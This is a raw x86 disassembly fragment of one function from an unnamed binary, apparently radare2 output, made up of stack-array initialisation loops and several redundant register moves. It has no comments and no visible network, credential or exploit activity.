cmp dword [ebp - 0x28], ebx
jle 0x10037fbc
or esi, 0xffffffff
lea ecx, [ebp - 0x970]
mov dword [ebp - 4], esi
call fcn.1001b32b
xor eax, eax
mov dword [ebp - 0x30], 0xcce1
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10038076
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5a0], 0xe1757117
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1003805d
xor eax, eax
mov dword [ebp - 0x59c], eax
jmp 0x1003808c
cmp dword [ebp - 0x59c], eax
jne 0x10038095
dec dword [ebp - 0x59c]
cmp dword [ebp - 0x59c], 0xfffffffb
jne 0x1003807e
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x38], 0xfffffff9
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x100380c9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x670], 0xe2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x100380b1
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10038102
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor ecx, ecx
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
setge cl
cmp dword [ebp - 0x1c], ecx
jg 0x100380ff
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10038122
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x670], 0
jne 0x10038127
inc dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], eax
jle 0x10038110
mov dword [ebp - 0x28], 0xfffffffa
lea ecx, [ebp - 0xd8c]
push 3
call fcn.1001b2a6
mov dword [ebp - 4], 0x24
xor eax, eax
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10038167
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x26c], 0x915a1369
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003814f
mov dword [ebp - 0x10], eax
jmp 0x10038183